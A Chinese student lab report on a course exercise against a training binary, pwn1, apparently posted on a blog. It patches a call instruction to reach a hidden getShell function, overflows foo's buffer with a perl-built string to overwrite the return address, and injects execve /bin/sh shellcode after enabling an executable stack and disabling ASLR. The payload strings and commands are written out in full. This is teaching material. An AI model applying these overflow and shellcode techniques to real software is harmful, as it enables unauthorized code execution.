20222823 2022-2023-2 《网络攻防实践》实践九报告

本文介绍了如何通过修改可执行文件和利用缓冲区溢出漏洞来运行隐藏代码段getShell,包括手工修改EIP跳转和构造攻击输入字符串覆盖返回地址。此外,还展示了制作并注入shellcode的过程,涉及汇编语言和调试工具GDB的使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

下载pwn1,放置在kali的桌面,输入指令:objdump -d pwn1,开始对pwn1进行反汇编

根据反汇编结果,我们找到pwn1所使用的getshell、foo、main这三个函数,先分析main函数的汇编指令

当main函数按顺序执行到80484b5时,会执行机器指令:e8 d7 ff ff ff,执行汇编指令call 8048491 

e8和call对应汇编指令call对应的机器指令是e8,8048491 代表foo函数➡foo函数的偏移地址是d7 ff ff ff

这里的EIP地址为80484ba,则call指令跳转的fall函数入口地址(0x08048491)=执行call指令时的EIP地址(0x080484ba)+偏移量(0xffffffd7)。

可以计算出call指令跳转到getshell函数所需的偏移量=getshell

函数入口地址(0x0804847d)-执行call指令时的EIP地址(0x080484ba)。
0x0804847d-0x080484ba=0xffffffc3

改变程序执行流程,直接跳转到getShell函数的方法是:将e8 d7 ff ff ff改为e8 c3 ff ff ff

先备份一份pwn1文件,命名为:pwn2823

输入指令vim pwn2823,用vim打开pwn20211914

 

 

 输入指令::%!xxd把乱码转换为16进制

找到需要修改的e8 d7 ff ff ff中的d7,按a进入修改,然后将d7改为c3,

 输入指令:objdump -d pwn2823,对pwn2823进行反汇编,检查刚才的修改是否成功

 

 运行pwn2823,发现通过调用getshell函数获得了shell,说明我们成功按要求改变了程序执行流程

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

输入指令:objdump -d pwn1,对pwn1进行反汇编,然后找到foo函数的汇编指令

使用命令apt install gdb安装,再输入命令“gdb pwn1”调式程序

运行这个文件,输入有规律的字符串“1111111122222222333333334444444455555555666666”,程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出

查看寄存器eip的值,发现输入的后几位的数字覆盖到了堆栈上的返回地址。只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell

通过前面的反汇编结果可以看到Getshell的地址为0804847d。确认字节序输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  输入 (cat input; cat) | ./pwn1 input

 

2.3注入一个自己制作的shellcode并运行这段shellcode。

首先安装execstack:apt-get install execstack 

设置堆栈可执行:execstack -s pwn1 

查询文件的堆栈是否可执行:execstack -q pwn1 

查询是否关闭地址随机化:more /proc/sys/kernel/randomize_va_space 

关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space 

查询是否关闭地址随机化:more /proc/sys/kernel/randomize_va_space 

 

 

 输入命令

perl-e'print"A"x32;print"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

进行注入

 注入这段攻击buf,打开另一个终端,运行“ps -ef | grep pwn”pwn的进程2922

 attach 2922命令启动gdb调试这个进程,并输入指令:break *0x080484ae,对foo函数的运行设置断点

 输入cat input_shellcode; cat) | ./pwn1,将自己刚才制作的shellcode作为pwn的输入注入文件

运行可发现这段自己制作并注入的shellcode攻击成功,最后成功得到了shell

3.学习中遇到的问题及解决

  • Q1:Linux 下apt-get install 出现Could not get lock /var/lib/dpkg/lock-frontend
  • A1:需要sudo su
  • Q2:kali无法输入中文
  • A2:打开文件夹直接复制路径
  • Q3:
  • A3:更新源

4.实践总结

本次实验主要是设法运行可执行文件的代码片段,制作并注入shellcode,对注入攻击的知识以及汇编语言等掌握的熟练,在实验过程中需要不停的查询资料,以至于实验过程非常漫长

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值